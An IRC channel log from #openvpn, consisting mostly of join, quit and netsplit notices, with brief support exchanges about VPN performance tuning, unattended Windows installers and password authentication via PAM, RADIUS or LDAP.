10:21 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Quit: Zenum BNC - zenum.co.uk]
10:22 -!- Zenum [~znc@2a03:f80:ed15:ed15:ed15:ed15:c4fc:f104] has joined #openvpn
10:22 -!- Zenum [~znc@2a03:f80:ed15:ed15:ed15:ed15:c4fc:f104] has quit [Changing host]
10:22 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
10:23 -!- gedO5 [~Thunderbi@2002:5877:9af0:1000:ca1:5c00:cac6:edd1] has joined #openvpn
10:24 -!- fulcan [brads@2600:3c00::f03c:91ff:fe70:f0a9] has joined #openvpn
10:24 -!- frank-- [1000@unaffiliated/thumbs] has joined #openvpn
10:25 -!- stephanj_ [stephan@nemesis.stejau.de] has joined #openvpn
10:25 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
10:27 < gedO2> Hello
10:27 -!- TypoNe [~itsme@195.197.184.87] has quit [Ping timeout: 245 seconds]
10:27 -!- defswork_ [~andy@141.0.50.105] has quit [Ping timeout: 245 seconds]
10:27 -!- gedO2 [~Thunderbi@2002:5877:9af0:1000:ca1:5c00:cac6:edd1] has quit [Ping timeout: 245 seconds]
10:27 -!- stephan48 [stephan@opennic/stephan] has quit [Ping timeout: 245 seconds]
10:27 -!- thumbs [1000@unaffiliated/thumbs] has quit [Ping timeout: 245 seconds]
10:27 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
10:27 -!- defswork_ [~andy@141.0.50.105] has joined #openvpn
10:29 -!- Netsplit *.net <-> *.split quits: Wintereise
10:29 < fulcan> I am having performance issues on my openvpn network. I am configured UDP and there are no notable errors on the wire (tcpdump inspected) and no errors in any logs. noticable lags are 'ssh prompt takes forever' and a webserver behind tha openvpn gateway crawls at a snails pace ++. I am hoping for some insight on where to look, it's not dns related because all issues can be emulated at layer 2.  topology -> http://i43.tinypic.com/k3wxty.jpg
10:31 -!- landono [~landono@199-58-199-98.acedc.net] has quit [Ping timeout: 245 seconds]
10:33 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has quit [Remote host closed the connection]
10:36 -!- TypoNe [~itsme@195.197.184.87] has quit [Ping timeout: 245 seconds]
10:36 <@krzee> ppt2p? why?
10:37 <@krzee> and you are using tun not tap, right?
10:38 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
10:39 < fulcan> krzee ptpp has been disables since that. it's openvpn
10:39 <@krzee> k
10:41 < fulcan> router1/openvpn server 1 config  ->  http://bpaste.net/show/98160/
10:42 <@krzee> too many comments
10:42 <@krzee> !configs
10:42 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
10:42 <@krzee> that grep command will help ya
10:43 < fulcan> http://bpaste.net/show/98164/
10:44 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
10:45 < gedO5> Hello, can someone show me where to find unattended openvpn 2.3.1 installation switches?
10:45 -!- Wintereise [~reise@205.185.126.190] has joined #openvpn
10:45 <@krzee> fulcan, ok good, udp tun? tried checking mtu?
10:45 <@krzee> !gigabit
10:45 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
10:46 <@krzee> ^ that guide is for more than only gigabit lines =]
10:46 < fulcan> router2 config ->  http://bpaste.net/show/98167/  basically identical
10:46 < gedO5> !install
10:46 < gedO5> !ask
10:46 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
10:47 < fulcan> krzee thank you!   :)
10:47 <@krzee> i didnt know there were unattended installation switches, i assume you mean windows
10:47 < gedO5> Guys, how I can call this room's bot???
10:47 -!- Wintereise [~reise@205.185.126.190] has quit [Changing host]
10:47 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
10:47 <@krzee> !factoids
10:47 < gedO5> krzee: Yes, on windows
10:47 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
10:47 <@krzee> !win_rollup
10:47 <@vpnHelper> "win_rollup" is please see http://www.secure-computing.net/wiki/index.php/OpenVPN/HowTo_for_Windows_2 for dazo's writeup on making unattended windows installers for openvpn
10:47 <@krzee> that may be what you mean
10:49 < gedO5> krzee: I have found this earlyer
10:49 < gedO5> krzee: This only tells how to make your own installer with NSIS
10:50 <@krzee> if you want an unattended installer i believe thats what you need to do
10:50 <@krzee> im certainly not 100% on that, but it was true last i knew
10:50 < gedO5> krzee: Releaser packages have tear own switces
10:50 -!- fulcan [brads@2600:3c00::f03c:91ff:fe70:f0a9] has left #openvpn []
10:50 < gedO5> released*
10:52 < gedO5> krzee: I will look fot them in this file: https://github.com/OpenVPN/openvpn-build/blob/master/windows-nsis/openvpn.nsi
10:52 <@vpnHelper> Title: openvpn-build/windows-nsis/openvpn.nsi at master · OpenVPN/openvpn-build · GitHub (at github.com)
10:55 <@krzee> cool
10:57 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 245 seconds]
10:58 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
11:00 -!- eliasp [~quassel@134.3.243.224] has quit [Read error: Connection reset by peer]
11:02 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 264 seconds]
11:04 -!- Netsplit *.net <-> *.split quits: Wintereise
11:04 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
11:11 -!- AndChat|698676 [~AndChat69@46.115.116.85] has joined #openvpn
11:13 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 272 seconds]
11:16 -!- AndChat|698676 [~AndChat69@46.115.116.85] has quit [Ping timeout: 276 seconds]
11:16 -!- cloneman_ [cloneman@1337.montrealdark.com] has quit [Ping timeout: 245 seconds]
11:17 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-zkfmbgqibpjqitbn] has quit [Ping timeout: 245 seconds]
11:17 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-ngikrzijhskldueu] has quit [Ping timeout: 245 seconds]
11:17 -!- Wintereise [~reise@205.185.126.190] has joined #openvpn
11:17 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-blpkkhlsqthhyprh] has joined #openvpn
11:17 -!- levifig [~levifig@spwn.co] has quit [Ping timeout: 245 seconds]
11:18 -!- zyphex [~pony@cpe-71-72-29-138.neo.res.rr.com] has quit [Ping timeout: 245 seconds]
11:18 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds]
11:19 -!- Wintereise [~reise@205.185.126.190] has quit [Changing host]
11:19 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
11:19 -!- levifig [~levifig@spwn.co] has joined #openvpn
11:20 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
11:20 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
11:20 -!- zyphex [~pony@cpe-71-72-29-138.neo.res.rr.com] has joined #openvpn
11:21 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
11:21 -!- mode/#openvpn [+o krzee] by ChanServ
11:21 -!- gedO1 [~Thunderbi@2002:5877:9af0:1000:ca1:5c00:cac6:edd1] has joined #openvpn
11:24 -!- Ungi [~AndChat69@46.115.116.85] has joined #openvpn
11:25 -!- gedO5 [~Thunderbi@2002:5877:9af0:1000:ca1:5c00:cac6:edd1] has quit [Ping timeout: 245 seconds]
11:26 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
11:28 -!- Netsplit *.net <-> *.split quits: deever, jave_, _quadDamage, rsc, KiNgMaR, majuscule, GabrieleV, TypoNe, kubbing, _mnathani_,  (+2 more, use /NETSPLIT to show all of them)
11:29 -!- Netsplit over, joins: TypoNe, rsc, KiNgMaR, deever, majuscule
11:29 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
11:29 -!- Netsplit over, joins: _quadDamage, _mnathani_, kubbing, ScriptFanix, cj
11:30 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Remote host closed the connection]
11:30 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
11:30 -!- Ungi [~AndChat69@46.115.116.85] has quit [Ping timeout: 245 seconds]
11:31 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:35 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:38 < gedO1> Guys, is thear any tutorila how to do unattended OpenVPN install???
11:39 -!- qwertyoruiop_ [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
11:40 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 256 seconds]
11:40 -!- qwertyoruiop_ is now known as qwertyoruiop
11:40 -!- RichardBronosky [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has quit [Ping timeout: 256 seconds]
11:40 -!- toobluesc [~nitro@c-50-152-143-224.hsd1.ca.comcast.net] has joined #openvpn
11:40 -!- spacedus2 [~info@dev.gentooexperimental.org] has quit [Ping timeout: 256 seconds]
11:41 -!- spacedust [~info@dev.gentooexperimental.org] has joined #openvpn
11:41 -!- joshie [~josh@joshie.net] has quit [Read error: Connection reset by peer]
11:41 -!- spacedust is now known as Guest71349
11:41 < rob0> !confgen
11:41 <@vpnHelper> "confgen" is (#1) http://www.doeshosting.com/code/openvpn-confgen.tgz for the bash config generator or (#2) you can use svn co http://www.secure-computing.net/svn/trunk/openvpn-confgen/ or (#3) you must run this in bash
11:41 -!- joshie [~josh@joshie.net] has joined #openvpn
11:41 -!- erry__ [erry@freenode/staff/erry] has joined #openvpn
11:41 -!- brute11k1 [~brute@89.249.235.126] has quit [Ping timeout: 272 seconds]
11:41 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Disconnected by services]
11:41 -!- RichardBronosky [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has joined #openvpn
11:42 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 256 seconds]
11:42 < rob0> gedO1, not that I know of, but the above openvpn-confgen.tgz might be of interest.
11:42 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
11:42 -!- _Dave2_ [~Dave2@freenode/staff/dave2] has joined #openvpn
11:42 -!- brute11k [~brute@89.249.235.126] has joined #openvpn
11:42 -!- erry [erry@freenode/staff/erry] has quit [Quit: Reconnecting]
11:43 -!- Dave2 [~Dave2@freenode/staff/dave2] has quit [Read error: Connection reset by peer]
11:43 -!- erry__ is now known as erry
11:44 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
11:45 -!- spb [~stephen@freenode/developer/exherbo.spb] has left #openvpn []
11:50 -!- Dennis84_ [~dennis@mail.it-moebius.de] has joined #openvpn
11:50 -!- brian__ [~brian@pool-71-171-107-196.clppva.fios.verizon.net] has joined #openvpn
11:51 -!- dimm0k_ [~dimm0k@pool-108-41-239-206.nycmny.fios.verizon.net] has joined #openvpn
11:53 -!- Tera_ [~tera@ip133-114.seclan.com] has joined #openvpn
11:53 -!- bwallen [~brian@pool-71-171-107-196.clppva.fios.verizon.net] has quit [Ping timeout: 256 seconds]
11:53 -!- Dennis84 [~dennis@mail.it-moebius.de] has quit [Ping timeout: 256 seconds]
11:53 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 256 seconds]
11:53 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 256 seconds]
11:53 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 256 seconds]
11:53 -!- Tera [~tera@unaffiliated/tera] has quit [Ping timeout: 256 seconds]
11:53 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 256 seconds]
11:53 -!- WOOOP [~mcrozes@ec2-54-245-244-120.us-west-2.compute.amazonaws.com] has quit [Ping timeout: 256 seconds]
11:54 -!- dimm0k_ is now known as dimm0k
11:54 -!- WOOOP [~mcrozes@ec2-54-245-244-120.us-west-2.compute.amazonaws.com] has joined #openvpn
11:54 -!- dimm0k [~dimm0k@pool-108-41-239-206.nycmny.fios.verizon.net] has quit [Changing host]
11:54 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
11:54 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
11:54 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
11:55 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
11:55 < gedO1> rob0: Thank you, I will look
11:55 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
11:55 -!- mode/#openvpn [+v s7r] by ChanServ
12:01 -!- phunyguy [~quassel@h69-131-9-135.stmyga.broadband.dynamic.tds.net] has joined #openvpn
12:01 -!- phunyguy [~quassel@h69-131-9-135.stmyga.broadband.dynamic.tds.net] has quit [Changing host]
12:01 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
12:01 -!- Drone4four_ [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
12:02 -!- gffa_ [~unknown@unaffiliated/gffa] has joined #openvpn
12:03 -!- Devastator- [~devas@177.99.153.2] has joined #openvpn
12:04 -!- Dropje_ [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
12:05 -!- brute11k1 [~brute@89.249.235.126] has joined #openvpn
12:05 -!- brute11k [~brute@89.249.235.126] has quit [Ping timeout: 245 seconds]
12:07 -!- Netsplit *.net <-> *.split quits: Devastator, mete, pa, gffa, Drone4four, Dropje, phunyguy_
12:08 -!- brute11k1 [~brute@89.249.235.126] has quit [Read error: Connection reset by peer]
12:08 -!- Netsplit over, joins: mete
12:09 -!- brute11k [~brute@89.249.235.126] has joined #openvpn
12:10 -!- gedO1 [~Thunderbi@2002:5877:9af0:1000:ca1:5c00:cac6:edd1] has quit [Remote host closed the connection]
12:10 -!- gedO [~Thunderbi@2002:5877:9af0:1000:ca1:5c00:cac6:edd1] has joined #openvpn
12:11 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has quit [Ping timeout: 276 seconds]
12:12 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has joined #openvpn
12:12 -!- zamba [marius@flage.org] has quit [Ping timeout: 276 seconds]
12:15 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
12:15 -!- zamba [marius@flage.org] has joined #openvpn
12:17 -!- gedO [~Thunderbi@2002:5877:9af0:1000:ca1:5c00:cac6:edd1] has left #openvpn []
12:18 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
12:18 <@krzee> !pki
12:18 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
12:18 <@vpnHelper> signed specially as a server (see !servercert)
12:30 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
12:30 -!- TypoNe [~itsme@195.197.184.87] has quit [Quit: I shouldn't really be here - dircproxy 1.1.0]
12:31 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
12:34 -!- brute11k [~brute@89.249.235.126] has quit [Read error: Operation timed out]
12:35 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
12:35 -!- brute11k [~brute@89.249.235.126] has joined #openvpn
12:36 -!- brute11k1 [~brute@89.249.235.126] has joined #openvpn
12:39 -!- Drone4four__ [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
12:40 -!- brute11k [~brute@89.249.235.126] has quit [Ping timeout: 264 seconds]
12:41 -!- Six6siX_ [~six6six@jasmine1.sammybakar.com] has joined #openvpn
12:41 -!- qwertyoruiop_ [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
12:41 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Read error: Connection reset by peer]
12:41 -!- Drone4four_ [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 268 seconds]
12:41 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 268 seconds]
12:41 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 268 seconds]
12:41 -!- qwertyoruiop_ is now known as qwertyoruiop
12:42 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
12:45 -!- cippaciong [~cippacion@95.236.151.5] has quit [Quit: WeeChat 0.4.0]
12:46 -!- fvalente [~fvalente@ts.node.pt] has quit [Quit: ZNC - http://znc.in]
12:51 -!- Netsplit *.net <-> *.split quits: zamba
12:57 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 264 seconds]
12:57 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
12:57 < vaillor> hi guys
12:58 < vaillor> is there a way to set an authentication method?
13:03 <@krzee> !daz
13:03 <@vpnHelper> "daz" is http://www.eurephia.net/ for eurephia, an auth plugin supporting dynamic firewall updates
13:03 -!- Devastator- [~devas@177.99.153.2] has quit [Read error: Connection reset by peer]
13:03 <@krzee> or
13:03 <@krzee> !authpass
13:03 <@vpnHelper> "authpass" is (#1) please see --auth-user-pass-verify in the manual to learn how to force clients to use passwords in addition to certs or (#2) or to ONLY use passwords (no certs, highly NOT recommended) also use --client-cert-not-required or (#3) and if you want the login name to be used as the common-name for things like ccd entries, use --username-as-common-name
13:03 -!- Devastator [~devas@177.99.153.2] has joined #openvpn
13:04 -!- erry__ [erry@freenode/staff/erry] has joined #openvpn
13:05 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
13:06 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
13:07 -!- RealRancor [~Rancor@prielwurmjaeger.de] has joined #openvpn
13:08 -!- mjixx_ [~markus@80.67.14.31] has joined #openvpn
13:09 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
13:10 -!- pwrcycle_ [~pwrcycle@173.214.160.92] has joined #openvpn
13:10 -!- rob0_ [rob0@harrier.slackbuilds.org] has joined #openvpn
13:10 -!- gardar [~gardar@gardar.net] has joined #openvpn
13:11 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
13:11 -!- pjschmit1 [~parker@209.141.56.12] has joined #openvpn
13:12 -!- lbft__ [~lbft@2605:6400:1:fed5:22:2e7c:e883:4138] has joined #openvpn
13:13 -!- Gasseus [~rallias@204.45.7.2] has joined #openvpn
13:14 -!- JackWinter1 [~jack@vodsl-10021.vo.lu] has joined #openvpn
13:14 -!- Netsplit *.net <-> *.split quits: zu, cj, pwrcycle, Rallias, vaillor, JackSparrow, ponyofde1th, +hazardous, AsadH, awc737_away,  (+56 more, use /NETSPLIT to show all of them)
13:14 -!- Denial- is now known as Denial
13:14 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has joined #openvpn
13:16 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/session] has joined #openvpn
13:16 -!- Netsplit over, joins: vaillor
13:21 -!- erry__ is now known as erry
13:26 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has quit []
13:30 -!- zarrsh_ [~zarrsh@cpe-65-27-192-220.cinci.res.rr.com] has joined #openvpn
13:30 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has joined #openvpn
13:30 -!- Dropje_ [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
13:30 -!- stephanj_ [stephan@nemesis.stejau.de] has joined #openvpn
13:30 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
13:30 -!- pulz [geir@winning.no] has joined #openvpn
13:33 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
13:33 -!- mete [~mete@mete.shell.la] has joined #openvpn
13:33 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
13:33 -!- joshie [~josh@joshie.net] has joined #openvpn
13:33 -!- zyphex [~pony@cpe-71-72-29-138.neo.res.rr.com] has joined #openvpn
13:33 -!- Matir [~matir@ubuntu/member/matir] has joined #openvpn
13:33 -!- ngharo [~ngharo@hacked.thegov.us] has joined #openvpn
13:33 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has joined #openvpn
13:33 -!- zu [~zu@ks387228.kimsufi.com] has joined #openvpn
13:33 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
13:33 -!- druid [~druid@drink.cypr.in] has joined #openvpn
13:33 -!- uuuppz [uuuppz@78.129.207.46] has joined #openvpn
13:33 -!- NChief_ [~nchief@unaffiliated/nchief] has joined #openvpn
13:33 -!- ServerTechLaptop [~ServerTec@server2.hosthighway.co] has joined #openvpn
13:33 -!- lirime [~liriel@cinnabar.feralhosting.com] has joined #openvpn
13:33 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
13:33 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
13:33 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
13:34 -!- gardar [~gardar@gardar.net] has quit [Remote host closed the connection]
13:36 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
13:36 -!- i7c_ [~i7c@212.47.190.111] has joined #openvpn
13:36 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
13:36 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
13:36 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has joined #openvpn
13:36 -!- kirin` [telex@gateway/shell/anapnea.net/x-czqfiwsrinfcbrow] has joined #openvpn
13:36 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
13:36 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
13:36 -!- Champi [Champi@rootshell.fr] has joined #openvpn
13:36 -!- awc737_away [~awc737@2604:180:1::e9e7:263f] has joined #openvpn
13:36 -!- ponyofde1th [~vladi@cpe-75-80-173-129.san.res.rr.com] has joined #openvpn
13:36 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
13:36 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
13:36 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
13:36 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
13:36 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
13:36 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
13:36 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
13:36 -!- thalweg [~quassel@198.211.102.196] has joined #openvpn
13:36 -!- wykydtron [tassadar@persephone.darkness-reigns.net] has joined #openvpn
13:36 -!- feth [foobar@ile-flottante.tuttu.info] has joined #openvpn
13:36 -!- ServerMode/#openvpn [+o raidz_away] by pratchett.freenode.net
13:36 -!- soapee01_ [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
13:36 -!- _Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
13:36 -!- _Cr4zi3 [killaz@staff.xbins.org] has quit [Excess Flood]
13:36 -!- Guest53439 [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
13:36 -!- Guest53439 [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has quit [Excess Flood]
13:37 -!- Guest53439 [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
13:38 < dimm0k> krzee: actually a bit confused about the whole authpass thing...  is it possible to specifically use a username/password account that's already specified on the linux system?
13:39 < dimm0k> so for example if i created a openvpn username/password on the linux box, have openvpn ask for those credentials after verifying certs?
13:39 <@krzee> sure, its possible to do anything any program you write can do
13:39 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
13:39 <@krzee> PAM
13:40 <@krzee> would be what you'd use for your above idea
13:40 < dimm0k> hrmm...  is it possible to do without the use of pam?
13:41 <@krzee> radius, ldap
13:41 -!- Sjors [~sgielen@foo.kassala.de] has quit [Read error: Operation timed out]
13:41 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has quit [Read error: Operation timed out]
13:41 -!- Champi [Champi@rootshell.fr] has quit [Read error: Operation timed out]
13:41 < dimm0k> hrmm, i see
13:42 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
13:42 <@krzee> access-server does it automagically
13:42 <@krzee> !as
13:42 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
13:42 <@krzee> http://openvpn.net/index.php/access-server/docs/admin-guides/216-how-to-add-users-to-your-openvpn-access-server.html
13:42 <@vpnHelper> Title: How to add users to your OpenVPN Access Server using PAM. (at openvpn.net)
13:43 -!- Champi [Champi@rootshell.fr] has joined #openvpn
13:44 -!- gardar [~gardar@gardar.net] has joined #openvpn
13:44 -!- Netsplit *.net <-> *.split quits: zarrsh_, Poster, pulz, MrPockets, stephanj_, Dropje_
13:44 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
13:46 -!- _Dave2_ is now known as Dave2
13:48 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:50 -!- Netsplit over, joins: zarrsh_, MrPockets, Dropje_, stephanj_, Poster, pulz
13:50 < dimm0k> krzee: this will be useful, thanks
13:50 <@krzee> yw
13:51 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/session] has quit [Changing host]
13:51 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-nsorbwdablktshwe] has joined #openvpn
13:51 -!- rob0_ [rob0@harrier.slackbuilds.org] has quit [Changing host]
13:51 -!- rob0_ [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
13:51 -!- rob0_ is now known as rob0
13:51 -!- Gasseus is now known as Guest16105
13:59 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
14:13 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- Wibbly Wobbly IRC]
14:14 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
14:16 -!- Six6siX [~six6six@cpc1-ely06-2-0-cust202.5-1.cable.virginmedia.com] has joined #openvpn
14:19 -!- Six6siX_ [~six6six@jasmine1.sammybakar.com] has quit [Read error: Operation timed out]
14:20 -!- Six6siX [~six6six@cpc1-ely06-2-0-cust202.5-1.cable.virginmedia.com] has quit [Ping timeout: 264 seconds]
14:47 -!- zamba [marius@flage.org] has joined #openvpn
14:49 -!- tyteen4a03 [tyteen4a03@us2.freeBNC.net] has quit [Ping timeout: 256 seconds]
14:54 -!- tyteen4a03 [tyteen4a03@us2.freeBNC.net] has joined #openvpn
14:54 -!- Six6siX [~six6six@jasmine1.sammybakar.com] has joined #openvpn
15:13 -!- xBytez is now known as root
15:13 -!- Zenum is now known as BOPM
15:14 -!- BOPM is now known as ijfwqijhiofjioSe
15:14 -!- ijfwqijhiofjioSe is now known as Zenum
15:17 -!- Guest16105 [~rallias@204.45.7.2] has left #openvpn []
15:19 -!- Six6siX_ [~six6six@cpc1-ely06-2-0-cust202.5-1.cable.virginmedia.com] has joined #openvpn
15:21 -!- lbft__ is now known as lbft
15:21 -!- tarrant1 [~tarrant@mail.voidbyte.net] has joined #openvpn
15:22 -!- Six6siX [~six6six@jasmine1.sammybakar.com] has quit [Ping timeout: 264 seconds]
15:23 -!- Six6siX_ [~six6six@cpc1-ely06-2-0-cust202.5-1.cable.virginmedia.com] has quit [Ping timeout: 264 seconds]
15:25 -!- zarrsh [~zarrsh@cpe-65-27-192-220.cinci.res.rr.com] has joined #openvpn
15:26 -!- stephan48 [stephan@nemesis.stejau.de] has joined #openvpn
15:26 -!- MrPocketz [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has joined #openvpn
15:28 -!- Six6siX [~six6six@jasmine1.sammybakar.com] has joined #openvpn
15:30 -!- zarrsh_ [~zarrsh@cpe-65-27-192-220.cinci.res.rr.com] has quit [Ping timeout: 276 seconds]
15:31 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 276 seconds]
15:31 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has quit [Ping timeout: 276 seconds]
15:31 -!- stephanj_ [stephan@nemesis.stejau.de] has quit [Read error: Connection reset by peer]
15:39 -!- pulz_ [geir@winning.no] has joined #openvpn
15:42 -!- Netsplit *.net <-> *.split quits: Dropje_, pulz
